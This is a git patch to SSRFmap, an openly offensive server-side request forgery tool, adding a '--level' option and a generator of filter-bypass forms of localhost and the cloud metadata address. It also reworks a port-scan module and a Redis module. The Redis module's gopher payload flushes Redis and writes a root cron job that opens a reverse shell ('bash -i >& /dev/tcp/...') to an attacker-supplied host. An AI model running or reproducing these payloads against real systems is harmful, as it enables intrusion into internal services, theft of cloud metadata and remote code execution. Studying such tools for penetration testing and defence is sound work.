From ee74058edad8546384f16a665c4b880dc654337f Mon Sep 17 00:00:00 2001 From: Swissky Date: Wed, 17 Oct 2018 14:03:43 +0200 Subject: [PATCH] MODULE - "--level" added and portscan improved --- README.md | 28 ++++++++++------- core/utils.py | 76 +++++++++++++++++++++++++++++++++++++++++++-- modules/portscan.py | 22 ++++++++----- modules/redis.py | 33 ++++++++++++-------- modules/template.py | 27 +++++++++------- ssrfmap.py | 1 + 6 files changed, 141 insertions(+), 46 deletions(-) diff --git a/README.md b/README.md index 7219e41..c0aeeb3 100644 --- a/README.md +++ b/README.md @@ -26,6 +26,7 @@ optional arguments: -l HANDLER Start an handler for a reverse shell --lhost LHOST LHOST reverse shell --lport LPORT LPORT reverse shell + --level [LEVEL] Level of test to perform (1-5, default: 1) ``` The default way to use this script is the following. @@ -90,21 +91,24 @@ class exploit(): def __init__(self, requester, args): logging.info("Module '{}' launched !".format(name)) - # Data for the service - ip = "127.0.0.1" - port = "6379" - data = "*1%0d%0a$8%0d%0af[...]save%0d%0aquit%0d%0a" - payload = wrapper_gopher(data, ip , port) + # Using a generator to create the host list - generate tests based on the level + gen_host = gen_ip_list("127.0.0.1", args.level) + for ip in gen_host: - # Handle args for reverse shell - if args.lhost == None: payload = payload.replace("SERVER_HOST", input("Server Host:")) - else: payload = payload.replace("SERVER_HOST", args.lhost) + # Data for the service + port = "6379" + data = "*1%0d%0a$8%0d%0af[...]save%0d%0aquit%0d%0a" + payload = wrapper_gopher(data, ip , port) - if args.lport == None: payload = payload.replace("SERVER_PORT", input("Server Port:")) - else: payload = payload.replace("SERVER_PORT", args.lport) + # Handle args for reverse shell + if args.lhost == None: payload = payload.replace("SERVER_HOST", input("Server Host:")) + else: payload = payload.replace("SERVER_HOST", args.lhost) - # Send the payload - r = requester.do_request(args.param, payload) + if args.lport == None: payload = payload.replace("SERVER_PORT", input("Server Port:")) + else: payload = payload.replace("SERVER_PORT", args.lport) + + # Send the payload + r = requester.do_request(args.param, payload) ``` You can also contribute with a beer IRL or with `buymeacoffee.com` diff --git a/core/utils.py b/core/utils.py index ee3e375..49b0dd6 100644 --- a/core/utils.py +++ b/core/utils.py @@ -1,3 +1,7 @@ +import socket +import struct +import string + def wrapper_file(data): return "file://{}".format(data) @@ -13,10 +17,78 @@ def wrapper_http(data, ip, port): def wrapper_https(data, ip, port): return "http://{}:{}/{}".format(ip, port, data) - def diff_text(text1, text2): diff = "" for line in text1.split("\n"): if not line in text2: diff += line + "\n" - return diff \ No newline at end of file + return diff + +def ip_default_local(ips, ip): + ips.add(ip) + ips.add("127.0.0.1") + ips.add("0.0.0.0") + ips.add("localhost") + +def ip_default_shortcurt(ips, ip): + ips.add("[::]") + ips.add("0000::1") + ips.add("0") + +def ip_default_cidr(ips, ip): + ips.add("127.0.0.0") + ips.add("127.0.1.3") + ips.add("127.42.42.42") + ips.add("127.127.127.127") + +def ip_decimal_notation(ips, ip): + try: + packedIP = socket.inet_aton(ip) + ips.add(struct.unpack("!L", packedIP)[0]) + except: + pass + +def ip_enclosed_alphanumeric(ips, ip): + intab = "1234567890abcdefghijklmnopqrstuvwxyz" + + if ip == "127.0.0.1": + ips.add("ⓛⓞⒸⒶⓛⓣⒺⓢⓣ.ⓜⒺ") + + outtab = "①②③④⑤⑥⑦⑧⑨⓪ⒶⒷⒸⒹⒺⒻⒼⒽⒾⒿⓀⓁⓂⓃⓄⓅⓆⓇⓈⓉⓊⓋⓌⓍⓎⓏ" + trantab = ip.maketrans(intab, outtab) + ips.add( ip.translate(trantab) ) + + outtab = "①②③④⑤⑥⑦⑧⑨⓪ⓐⓑⓒⓓⓔⓕⓖⓗⓘⓙⓚⓛⓜⓝⓞⓟⓠⓡⓢⓣⓤⓥⓦⓧⓨⓩ" + trantab = ip.maketrans(intab, outtab) + ips.add( ip.translate(trantab) ) + +def ip_dns_redirect(ips, ip): + if ip == "127.0.0.1": + ips.add("localtest.me") + ips.add("customer1.app.localhost.my.company.127.0.0.1.nip.io") + ips.add("localtest$google.me") + + if ip == "169.254.169.254": + ips.add("metadata.nicob.net") + ips.add("169.254.169.254.xip.io") + ips.add("1ynrnhl.xip.io") + +def gen_ip_list(ip, level) : + ips = set() + ip_default_local(ips, ip) + + if level > 1: + ip_default_shortcurt(ips, ip) + + if level > 2: + ip_dns_redirect(ips, ip) + + if level > 3: + ip_default_cidr(ips, ip) + + if level > 4: + ip_decimal_notation(ips, ip) + ip_enclosed_alphanumeric(ips, ip) + + for ip in ips: + yield ip \ No newline at end of file diff --git a/modules/portscan.py b/modules/portscan.py index 2ac3164..920f63d 100644 --- a/modules/portscan.py +++ b/modules/portscan.py @@ -18,21 +18,28 @@ class exploit(): with open("data/ports", "r") as f: load_ports = f.readlines() - # We can use a with statement to ensure threads are cleaned up promptly - with concurrent.futures.ThreadPoolExecutor(max_workers=None) as executor: - future_to_url = {executor.submit(self.concurrent_request, requester, args.param, "127.0.0.1", port): port for port in load_ports} + # Using a generator to create the host list + gen_host = gen_ip_list("127.0.0.1", args.level) + for ip in gen_host: + # We can use a with statement to ensure threads are cleaned up promptly + with concurrent.futures.ThreadPoolExecutor(max_workers=None) as executor: + future_to_url = {executor.submit(self.concurrent_request, requester, args.param, ip, port): port for port in load_ports} def concurrent_request(self, requester, param, host, port): try: payload = wrapper_http("", host, port.strip()) r = requester.do_request(param, payload) - + # Display Open port - if not "Connection refused" in r.text: + if r != None and not "Connection refused" in r.text: timer = datetime.today().time().replace(microsecond=0) port = port.strip() + " "*20 - print("\t[{}] Found port n°{}".format(timer, port)) + + if r.text != '': + print("\t[{}] IP:{:12s}, Found \033[32mopen \033[0m port n°{}".format(timer, host, port)) + else: + print("\t[{}] IP:{:12s}, Found \033[31mfiltered\033[0m port n°{}".format(timer, host, port)) timer = datetime.today().time().replace(microsecond=0) port = port.strip() + " "*20 @@ -40,7 +47,8 @@ class exploit(): # Timeout is a potential port except Exception as e: + print(e) timer = datetime.today().time().replace(microsecond=0) port = port.strip() + " "*20 - print("\t[{}] Timeout port n°{}".format(timer, port)) + print("\t[{}] IP:{:212}, \033[33mTimed out\033[0m port n°{}".format(timer, host, port)) pass \ No newline at end of file diff --git a/modules/redis.py b/modules/redis.py index 82164ae..c1a6398 100644 --- a/modules/redis.py +++ b/modules/redis.py @@ -10,26 +10,33 @@ documentation = [ ] class exploit(): + SERVER_HOST = "127.0.0.1" + SERVER_PORT = "4242" def __init__(self, requester, args): logging.info("Module '{}' launched !".format(name)) - # Data for the service - ip = "127.0.0.1" - port = "6379" - data = "*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/SERVER_HOST/SERVER_PORT%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a" - - payload = wrapper_gopher(data, ip , port) - # Handle args for reverse shell - if args.lhost == None: payload = payload.replace("SERVER_HOST", input("Server Host:")) - else: payload = payload.replace("SERVER_HOST", args.lhost) + if args.lhost == None: self.SERVER_HOST = input("Server Host:") + else: self.SERVER_HOST = args.lhost - if args.lport == None: payload = payload.replace("SERVER_PORT", input("Server Port:")) - else: payload = payload.replace("SERVER_PORT", args.lport) + if args.lport == None: self.SERVER_PORT = input("Server Port:") + else: self.SERVER_PORT = args.lport - # Send the payload - r = requester.do_request(args.param, payload) + # Data for the service + # Using a generator to create the host list + gen_host = gen_ip_list("127.0.0.1", args.level) + for ip in gen_host: + port = "6379" + data = "*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/SERVER_HOST/SERVER_PORT%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a" + payload = wrapper_gopher(data, ip , port) + + # Handle args for reverse shell + payload = payload.replace("SERVER_HOST", self.SERVER_HOST) + payload = payload.replace("SERVER_PORT", self.SERVER_PORT) + + # Send the payload + r = requester.do_request(args.param, payload) """ TODO: diff --git a/modules/template.py b/modules/template.py index cb7c536..7e5ff19 100644 --- a/modules/template.py +++ b/modules/template.py @@ -11,18 +11,21 @@ class exploit(): def __init__(self, requester, args): logging.info("Module '{}' launched !".format(name)) - # Data for the service - ip = "127.0.0.1" - port = "6379" - data = "*1%0d%0a$8%0d%0af[...]save%0d%0aquit%0d%0a" - payload = wrapper_gopher(data, ip , port) + # Using a generator to create the host list + gen_host = gen_ip_list("127.0.0.1", args.level) + for ip in gen_host: - # Handle args for reverse shell - if args.lhost == None: payload = payload.replace("SERVER_HOST", input("Server Host:")) - else: payload = payload.replace("SERVER_HOST", args.lhost) + # Data for the service + port = "6379" + data = "*1%0d%0a$8%0d%0af[...]save%0d%0aquit%0d%0a" + payload = wrapper_gopher(data, ip , port) - if args.lport == None: payload = payload.replace("SERVER_PORT", input("Server Port:")) - else: payload = payload.replace("SERVER_PORT", args.lport) + # Handle args for reverse shell + if args.lhost == None: payload = payload.replace("SERVER_HOST", input("Server Host:")) + else: payload = payload.replace("SERVER_HOST", args.lhost) - # Send the payload - r = requester.do_request(args.param, payload) \ No newline at end of file + if args.lport == None: payload = payload.replace("SERVER_PORT", input("Server Port:")) + else: payload = payload.replace("SERVER_PORT", args.lport) + + # Send the payload + r = requester.do_request(args.param, payload) \ No newline at end of file diff --git a/ssrfmap.py b/ssrfmap.py index 95d1a45..7846ffc 100644 --- a/ssrfmap.py +++ b/ssrfmap.py @@ -24,6 +24,7 @@ def parse_args(): parser.add_argument('-l', action ='store', dest='handler', help="Start an handler for a reverse shell") parser.add_argument('--lhost', action ='store', dest='lhost', help="LHOST reverse shell") parser.add_argument('--lport', action ='store', dest='lport', help="LPORT reverse shell") + parser.add_argument('--level', action ='store', dest='level', help="Level of test to perform (1-5, default: 1)", nargs='?', const=1, default=1, type=int) results = parser.parse_args() if results.reqfile == None: